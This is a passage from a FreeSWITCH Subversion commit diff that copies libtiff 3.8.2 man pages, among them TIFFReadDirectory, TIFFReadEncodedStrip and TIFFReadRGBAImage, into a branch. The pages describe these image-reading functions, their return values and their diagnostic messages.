+The image had
+.I SamplesPerPixel
+other than 1, 3, or 4.
+.PP
+\fBMissing needed "PhotometricInterpretation" tag\fP.
+The image did not have a tag that describes how to display
+the data.
+.PP
+\fBNo "PhotometricInterpretation" tag, assuming RGB\fP.
+The image was missing a tag that describes how to display it,
+but because it has 3 or 4 samples/pixel, it is assumed to be
+.SM RGB.
+.PP
+\fBNo "PhotometricInterpretation" tag, assuming min-is-black\fP.
+The image was missing a tag that describes how to display it,
+but because it has 1 sample/pixel, it is assumed to be a grayscale
+or bilevel image.
+.PP
+.BR "No space for photometric conversion table" .
+There was insufficient memory for a table used to convert
+image samples to 8-bit
+.SM RGB.
+.PP
+\fBMissing required "Colormap" tag\fP.
+A Palette image did not have a required
+.I Colormap
+tag.
+.PP
+.BR "No space for tile buffer" .
+There was insufficient memory to allocate an i/o buffer.
+.PP
+.BR "No space for strip buffer" .
+There was insufficient memory to allocate an i/o buffer.
+.PP
+.BR "Can not handle format" .
+The image has a format (combination of
+.IR BitsPerSample ,
+.IR SamplesPerPixel ,
+and
+.IR PhotometricInterpretation )
+that can not be handled.
+.PP
+.BR "No space for B&W mapping table" .
+There was insufficient memory to allocate a table used to map
+grayscale data to
+.SM RGB.
+.PP
+.BR "No space for Palette mapping table" .
+There was insufficient memory to allocate a table used to map
+data to 8-bit
+.SM RGB.
+.SH "SEE ALSO"
+.BR TIFFOpen (3TIFF),
+.BR TIFFReadRGBAImage (3TIFF),
+.BR TIFFReadRGBAImageOriented (3TIFF),
+.BR TIFFReadRGBAStrip (3TIFF),
+.BR TIFFReadRGBATile (3TIFF),
+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadDirectory.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadDirectory.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFReadDirectory.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadDirectory.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadDirectory.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,164 @@
+.\" $Id: TIFFReadDirectory.3tiff,v 1.2 2005/11/02 11:07:18 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFReadDirectory 3TIFF "October 15, 1995" "libtiff"
+.SH NAME
+TIFFReadDirectory \- get the contents of the next directory in an open
+.SM TIFF
+file
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.BI "int TIFFReadDirectory(TIFF *" tif ")"
+.SH DESCRIPTION
+Read the next directory in the specified file and make it the current
+directory. Applications only need to call
+.I TIFFReadDirectory
+to read multiple subfiles in a single
+.SM TIFF
+file\(em
+the first directory in a file is automatically read when
+.IR TIFFOpen
+is called.
+.SH NOTES
+If the library is compiled with 
+.SM STRIPCHOP_SUPPORT
+enabled, then images that have a single uncompressed strip or tile of data are
+automatically treated as if they were made up of multiple strips or tiles of
+approximately 8 kilobytes each. This operation is done only in-memory; it does
+not alter the contents of the file. However, the construction of the ``chopped
+strips'' is visible to the application through the number of strips [tiles]
+returned by 
+.I TIFFNumberOfStrips
+[\c
+.IR TIFFNumberOfTiles ].
+.SH "RETURN VALUES"
+If the next directory was successfully read, 1 is returned. Otherwise, 0 is
+returned if an error was encountered, or if there are no more directories to
+be read.
+.SH DIAGNOSTICS
+All error messages are directed to the
+.IR TIFFError (3TIFF)
+routine.
+All warning messages are directed to the
+.IR TIFFWarning (3TIFF)
+routine.
+.PP
+\fBSeek error accessing TIFF directory\fP.
+An error occurred while positioning to the location of the
+directory.
+.PP
+\fBWrong data type %d for field "%s"\fP.
+The tag entry in the directory had an incorrect data type.
+For example, an
+.I ImageDescription
+tag with a
+.SM SHORT
+data type.
+.PP
+\fBTIFF directory is missing required "%s" field\fP.
+The specified tag is required to be present by the
+.SM TIFF
+5.0 specification, but is missing.
+The directory is (usually) unusable.
+.PP
+\fB%s: Rational with zero denominator\fP.
+A directory tag has a
+.SM RATIONAL
+value whose denominator is zero.
+.PP
+\fBIncorrect count %d for field "%s" (%lu, expecting %lu); tag ignored\fP.
+The specified tag's count field is bad.
+For example, a count other than 1 for a
+.I SubFileType
+tag.
+.PP
+\fBCannot handle different per-sample values for field "%s"\fP.
+The tag has
+.I SamplesPerPixel
+values and they are not all the same; e.g.
+.IR BitsPerSample .
+The library is unable to handle images of this sort.
+.PP
+\fBCount mismatch for field "%s"; expecting %d, got %d\fP.
+The count field in a
+tag does not agree with the number expected by the library.
+This should never happen, so if it does, the library refuses to
+read the directory.
+.PP
+\fBInvalid TIFF directory; tags are not sorted in ascending order\fP.
+The directory tags are not properly sorted as specified
+in the
+.SM TIFF
+5.0 specification.
+This error is not fatal.
+.PP
+\fBIgnoring unknown field with tag %d (0x%x)\fP.
+An unknown tag was encountered in the directory;
+the library ignores all such tags.
+.PP
+\fBTIFF directory is missing requred "ImageLength" field\fP.
+The image violates the specification by not having a necessary field.
+There is no way for the library to recover from this error.
+.PP
+\fBTIFF directory is missing requred "PlanarConfig" field\fP.
+The image violates the specification by not having a necessary field.
+There is no way for the library to recover from this error.
+.PP
+\fBTIFF directory is missing requred "StripOffsets" field\fP.
+The image has multiple strips, but is missing the tag that
+specifies the file offset to each strip of data.
+There is no way for the library to recover from this error.
+.PP
+\fBTIFF directory is missing requred "TileOffsets" field\fP.
+The image has multiple tiles, but is missing the tag that
+specifies the file offset to each tile of data.
+There is no way for the library to recover from this error.
+.PP
+\fBTIFF directory is missing required "StripByteCounts" field\fP.
+The image has multiple strips, but is missing the tag that
+specifies the size of each strip of data.
+There is no way for the library to recover from this error.
+.PP
+\fBTIFF directory is missing required "StripByteCounts" field, calculating from imagelength\fP.
+The image violates the specification by not having a necessary field.
+However, when the image is comprised of only one strip or tile, the
+library will estimate the missing value based on the file size.
+.PP
+\fBBogus "StripByteCounts" field, ignoring and calculating from imagelength\fP.
+Certain vendors violate the specification by writing zero for
+the StripByteCounts tag when they want to leave the value
+unspecified.
+If the image has a single strip, the library will estimate
+the missing value based on the file size.
+.SH "SEE ALSO"
+.BR TIFFOpen (3TIFF),
+.BR TIFFWriteDirectory (3TIFF),
+.BR TIFFSetDirectory (3TIFF),
+.BR TIFFSetSubDirectory (3TIFF),
+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadEncodedStrip.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadEncodedStrip.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFReadEncodedStrip.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadEncodedStrip.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadEncodedStrip.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,78 @@
+.\" $Id: TIFFReadEncodedStrip.3tiff,v 1.2 2005/11/02 11:07:18 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFReadEncodedStrip 3TIFF "October 15, 1995" "libtiff"
+.SH NAME
+TIFFReadEncodedStrip \- read and decode a strip of data from an open
+.SM TIFF
+file
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.BI "tsize_t TIFFReadEncodedStrip(TIFF *" tif ", tstrip_t " strip ", tdata_t " buf ", tsize_t " size ")"
+.SH DESCRIPTION
+Read the specified strip of data and place up to
+.I size
+bytes of decompressed information in the (user supplied) data buffer.
+.SH NOTES
+The value of
+.I strip
+is a ``raw strip number.''
+That is, the caller must take into account whether or not the data are
+organized in separate planes (\c
+.IR PlanarConfiguration =2).
+To read a full strip of data the data buffer should typically be at least as
+large as the number returned by
+.BR TIFFStripSize (3TIFF).
+If the -1 passed in
+.I size
+parameter, the whole strip will be read. You should be sure you have enough
+space allocated for the buffer.
+.PP
+The library attempts to hide bit- and byte-ordering differences between the
+image and the native machine by converting data to the native machine order.
+Bit reversal is done if the
+.I FillOrder
+tag is opposite to the native machine bit order. 16- and 32-bit samples are
+automatically byte-swapped if the file was written with a byte order opposite
+to the native machine byte order,
+.SH "RETURN VALUES"
+The actual number of bytes of data that were placed in
+.I buf
+is returned;
+.IR TIFFReadEncodedStrip
+returns \-1 if an error was encountered.
+.SH DIAGNOSTICS
+All error messages are directed to the
+.BR TIFFError (3TIFF)
+routine.
+.SH "SEE ALSO"
+.BR TIFFOpen (3TIFF),
+.BR TIFFReadRawStrip (3TIFF),
+.BR TIFFReadScanline (3TIFF),
+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadEncodedTile.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadEncodedTile.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFReadEncodedTile.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadEncodedTile.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadEncodedTile.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,76 @@
+.\" $Id: TIFFReadEncodedTile.3tiff,v 1.2 2005/11/02 11:07:18 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFReadEncodedTile 3TIFF "October 15, 1995" "libtiff"
+.SH NAME
+TIFFReadEncodedTile \- read and decode a tile of data from an open
+.SM TIFF
+file
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.BI "int TIFFReadEncodedTile(TIFF *" tif ", u_long " tile ", u_char *" buf ", u_long " size ")"
+.SH DESCRIPTION
+Read the specified tile of data and place up to
+.I size
+bytes of decompressed information in the (user supplied) data buffer.
+.SH NOTES
+The value of
+.I tile
+is a ``raw tile number.''
+That is, the caller must take into account whether or not the data are
+organized in separate planes (\c
+.IR PlanarConfiguration =2).
+.IR TIFFComputeTile
+automatically does this when converting an (x,y,z,sample) coordinate quadruple
+to a tile number. To read a full tile of data the data buffer should be at
+least as large as the value returned by
+.IR TIFFTileSize .
+.PP
+The library attempts to hide bit- and byte-ordering differences between the
+image and the native machine by converting data to the native machine order.
+Bit reversal is done if the
+.I FillOrder
+tag is opposite to the native machine bit order. 16- and 32-bit samples are
+automatically byte-swapped if the file was written with a byte order opposite
+to the native machine byte order,
+.SH "RETURN VALUES"
+The actual number of bytes of data that were placed in
+.I buf
+is returned;
+.IR TIFFReadEncodedTile
+returns \-1 if an error was encountered.
+.SH DIAGNOSTICS
+All error messages are directed to the
+.BR TIFFError (3TIFF)
+routine.
+.SH "SEE ALSO"
+.BR TIFFOpen (3TIFF),
+.BR TIFFReadRawTile (3TIFF),
+.BR TIFFReadTile (3TIFF),
+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadRGBAImage.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadRGBAImage.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFReadRGBAImage.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadRGBAImage.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadRGBAImage.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,218 @@
+.\" $Id: TIFFReadRGBAImage.3tiff,v 1.3 2005/11/02 11:07:18 dron Exp $
+.\"
+.\" Copyright (c) 1991-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFReadRGBAImage 3TIFF "October 29, 2004" "libtiff"
+.SH NAME
+TIFFReadRGBAImage, TIFFReadRGBAImageOriented \- read and decode an image
+into a fixed-format raster
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.B "#define TIFFGetR(abgr) ((abgr) & 0xff)"
+.br
+.B "#define TIFFGetG(abgr) (((abgr) >> 8) & 0xff)"
+.br
+.B "#define TIFFGetB(abgr) (((abgr) >> 16) & 0xff)"
+.br
+.B "#define TIFFGetA(abgr) (((abgr) >> 24) & 0xff)"
+.sp
+.BI "int TIFFReadRGBAImage(TIFF *" tif ", u_long " width ", u_long " height ", u_long *" raster ", int " stopOnError ")"
+.br
+.BI "int TIFFReadRGBAImageOriented(TIFF *" tif ", u_long " width ", u_long " height ", u_long *" raster ", int " orientation ", int " stopOnError ")"
+.br
+.SH DESCRIPTION
+.IR TIFFReadRGBAImage
+reads a strip- or tile-based image into memory, storing the
+result in the user supplied
+.IR raster .
+The raster is assumed to be an array of
+.I width
+times
+.I height
+32-bit entries, where
+.I width
+must be less than or equal to the width of the image (\c
+.I height
+may be any non-zero size).
+If the raster dimensions are smaller than the image, the image data
+is cropped to the raster bounds.
+If the raster height is greater than that of the image, then the
+image data are placed in the lower part of the raster.
+(Note that the raster is assume to be organized such that the pixel
+at location (\fIx\fP,\fIy\fP) is \fIraster\fP[\fIy\fP*\fIwidth\fP+\fIx\fP];
+with the raster origin in the lower-left hand corner.)
+.PP
+.IR TIFFReadRGBAImageOriented
+works like
+.IR TIFFReadRGBAImage
+with except of that user can specify the raster origin position with the
+.I orientation
+parameter. Four orientations supported:
+.TP
+.B ORIENTATION_TOPLEFT
+origin in top-left corner,
+.TP
+.B ORIENTATION_TOPRIGHT
+origin in top-right corner,
+.TP
+.B ORIENTATION_BOTLEFT
+origin in bottom-left corner
+and
+.TP
+.B ORIENTATION_BOTRIGHT
+origin in bottom-right corner.
+.LP
+If you choose
+.B ORIENTATION_BOTLEFT
+result will be the same as returned by the
+.IR TIFFReadRGBAImage.
+.PP
+Raster pixels are 8-bit packed red, green, blue, alpha samples.
+The macros
+.IR TIFFGetR ,
+.IR TIFFGetG ,
+.IR TIFFGetB ,
+and
+.I TIFFGetA
+should be used to access individual samples.
+Images without Associated Alpha matting information have a constant
+Alpha of 1.0 (255).
+.PP
+.I TIFFReadRGBAImage
+converts non-8-bit images by scaling sample values.
+Palette, grayscale, bilevel, 
+.SM CMYK\c
+, and YCbCr images are converted to
+.SM RGB
+transparently.
+Raster pixels are returned uncorrected by any colorimetry information
+present in the directory.
+.PP
+The paramater
+.I stopOnError
+specifies how to act if an error is encountered while reading
+the image.
+If
+.I stopOnError
+is non-zero, then an error will terminate the operation; otherwise
+.I TIFFReadRGBAImage
+will continue processing data until all the possible data in the
+image have been requested.
+.SH NOTES
+In C++ the
+.I stopOnError
+parameter defaults to 0.
+.PP
+Samples must be either 1, 2, 4, 8, or 16 bits.
+Colorimetric samples/pixel must be either 1, 3, or 4 (i.e.
+.I SamplesPerPixel
+minus
+.IR ExtraSamples ).
+.PP
+Palettte image colormaps that appear to be incorrectly written
+as 8-bit values are automatically scaled to 16-bits.
+.PP
+.I TIFFReadRGBAImage
+is just a wrapper around the more general
+.IR TIFFRGBAImage (3TIFF)
+facilities.
+.SH "RETURN VALUES"
+1 is returned if the image was successfully read and converted.
+Otherwise, 0 is returned if an error was encountered and
+.I stopOnError
+is zero.
+.SH DIAGNOSTICS
+All error messages are directed to the
+.IR TIFFError (3TIFF)
+routine.
+.PP
+.BR "Sorry, can not handle %d-bit pictures" .
+The image had
+.I BitsPerSample
+other than 1, 2, 4, 8, or 16.
+.PP
+.BR "Sorry, can not handle %d-channel images" .
+The image had
+.I SamplesPerPixel
+other than 1, 3, or 4.
+.PP
+\fBMissing needed "PhotometricInterpretation" tag\fP.
+The image did not have a tag that describes how to display
+the data.
+.PP
+\fBNo "PhotometricInterpretation" tag, assuming RGB\fP.
+The image was missing a tag that describes how to display it,
+but because it has 3 or 4 samples/pixel, it is assumed to be
+.SM RGB.
+.PP
+\fBNo "PhotometricInterpretation" tag, assuming min-is-black\fP.
+The image was missing a tag that describes how to display it,
+but because it has 1 sample/pixel, it is assumed to be a grayscale
+or bilevel image.
+.PP
+.BR "No space for photometric conversion table" .
+There was insufficient memory for a table used to convert
+image samples to 8-bit
+.SM RGB.
+.PP
+\fBMissing required "Colormap" tag\fP.
+A Palette image did not have a required
+.I Colormap
+tag.
+.PP
+.BR "No space for tile buffer" .
+There was insufficient memory to allocate an i/o buffer.
+.PP
+.BR "No space for strip buffer" .
+There was insufficient memory to allocate an i/o buffer.
+.PP
+.BR "Can not handle format" .
+The image has a format (combination of
+.IR BitsPerSample ,
+.IR SamplesPerPixel ,
+and
+.IR PhotometricInterpretation )
+that
+.I TIFFReadRGBAImage
+can not handle.
+.PP
+.BR "No space for B&W mapping table" .
+There was insufficient memory to allocate a table used to map
+grayscale data to
+.SM RGB.
+.PP
+.BR "No space for Palette mapping table" .
+There was insufficient memory to allocate a table used to map
+data to 8-bit
+.SM RGB.
+.SH "SEE ALSO"
+.BR TIFFOpen (3TIFF),
+.BR TIFFRGBAImage (3TIFF),
+.BR TIFFReadRGBAStrip (3TIFF),
+.BR TIFFReadRGBATile (3TIFF),
+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadRGBAStrip.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadRGBAStrip.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFReadRGBAStrip.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadRGBAStrip.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadRGBAStrip.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,170 @@
+.\" $Id: TIFFReadRGBAStrip.3tiff,v 1.3 2005/11/02 11:07:18 dron Exp $
+.\"
+.\" Copyright (c) 1991-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFReadRGBAStrip 3TIFF "December 10, 1998" "libtiff"
+.SH NAME
+TIFFReadRGBAStrip \- read and decode an image strip into a fixed-format raster
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.B "#define TIFFGetR(abgr) ((abgr) & 0xff)"
+.br
+.B "#define TIFFGetG(abgr) (((abgr) >> 8) & 0xff)"
+.br
+.B "#define TIFFGetB(abgr) (((abgr) >> 16) & 0xff)"
+.br
+.B "#define TIFFGetA(abgr) (((abgr) >> 24) & 0xff)"
+.sp
+.BI "int TIFFReadRGBAStrip(TIFF *" tif ", uint32 " row ", uint32 *" raster ")"
+.SH DESCRIPTION
+.IR TIFFReadRGBAStrip
+reads a single strip of a strip-based image into memory, storing the result in
+the user supplied RGBA
+.IR raster .
+The raster is assumed to be an array of width times rowsperstrip 32-bit
+entries, where width is the width of the image (TIFFTAG_IMAGEWIDTH) and
+rowsperstrip is the maximum lines in a strip (TIFFTAG_ROWSPERSTRIP). 
+
+.PP
+The 
+.IR row
+value should be the row of the first row in the strip (strip * rowsperstrip,
+zero based).
+
+.PP
+Note that the raster is assume to be organized such that the pixel at location
+(\fIx\fP,\fIy\fP) is \fIraster\fP[\fIy\fP*\fIwidth\fP+\fIx\fP]; with the
+raster origin in the 
+.I lower-left hand corner
+of the strip. That is bottom to top organization.  When reading a partial last
+strip in the file the last line of the image will begin at the beginning of
+the buffer.
+
+.PP
+Raster pixels are 8-bit packed red, green, blue, alpha samples. The macros
+.IR TIFFGetR ,
+.IR TIFFGetG ,
+.IR TIFFGetB ,
+and
+.I TIFFGetA
+should be used to access individual samples. Images without Associated Alpha
+matting information have a constant Alpha of 1.0 (255).
+.PP
+See the 
+.IR TIFFRGBAImage (3TIFF) 
+page for more details on how various image types are converted to RGBA values.
+.SH NOTES
+Samples must be either 1, 2, 4, 8, or 16 bits. Colorimetric samples/pixel must
+be either 1, 3, or 4 (i.e.
+.I SamplesPerPixel
+minus
+.IR ExtraSamples ).
+.PP
+Palette image colormaps that appear to be incorrectly written as 8-bit values
+are automatically scaled to 16-bits.
+.PP
+.I TIFFReadRGBAStrip
+is just a wrapper around the more general
+.IR TIFFRGBAImage (3TIFF)
+facilities.  It's main advantage over the similar 
+.IR TIFFReadRGBAImage() 
+function is that for large images a single buffer capable of holding the whole
+image doesn't need to be allocated, only enough for one strip.  The 
+.IR TIFFReadRGBATile() 
+function does a similar operation for tiled images.
+.SH "RETURN VALUES"
+1 is returned if the image was successfully read and converted.
+Otherwise, 0 is returned if an error was encountered.
+.SH DIAGNOSTICS
+All error messages are directed to the
+.IR TIFFError (3TIFF)
+routine.
+.PP
+.BR "Sorry, can not handle %d-bit pictures" .
+The image had
+.I BitsPerSample
+other than 1, 2, 4, 8, or 16.
+.PP
+.BR "Sorry, can not handle %d-channel images" .
+The image had
+.I SamplesPerPixel
+other than 1, 3, or 4.
+.PP
+\fBMissing needed "PhotometricInterpretation" tag\fP.
+The image did not have a tag that describes how to display the data.
+.PP
+\fBNo "PhotometricInterpretation" tag, assuming RGB\fP.
+The image was missing a tag that describes how to display it, but because it
+has 3 or 4 samples/pixel, it is assumed to be
+.SM RGB.
+.PP
+\fBNo "PhotometricInterpretation" tag, assuming min-is-black\fP. The image was
+missing a tag that describes how to display it, but because it has 1
+sample/pixel, it is assumed to be a grayscale or bilevel image.
+.PP
+.BR "No space for photometric conversion table" .
+There was insufficient memory for a table used to convert image samples to
+8-bit
+.SM RGB.
+.PP
+\fBMissing required "Colormap" tag\fP.
+A Palette image did not have a required
+.I Colormap
+tag.
+.PP
+.BR "No space for tile buffer" .
+There was insufficient memory to allocate an i/o buffer.
+.PP
+.BR "No space for strip buffer" .
+There was insufficient memory to allocate an i/o buffer.
+.PP
+.BR "Can not handle format" .
+The image has a format (combination of
+.IR BitsPerSample ,
+.IR SamplesPerPixel ,
+and
+.IR PhotometricInterpretation )
+that
+.I TIFFReadRGBAImage
+can not handle.
+.PP
+.BR "No space for B&W mapping table" .
+There was insufficient memory to allocate a table used to map grayscale data
+to
+.SM RGB.
+.PP
+.BR "No space for Palette mapping table" .
+There was insufficient memory to allocate a table used to map data to 8-bit
+.SM RGB.
+.SH "SEE ALSO"
+.BR TIFFOpen (3TIFF),
+.BR TIFFRGBAImage (3TIFF),
+.BR TIFFReadRGBAImage (3TIFF),
+.BR TIFFReadRGBATile (3TIFF),
+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadRGBATile.3tiff

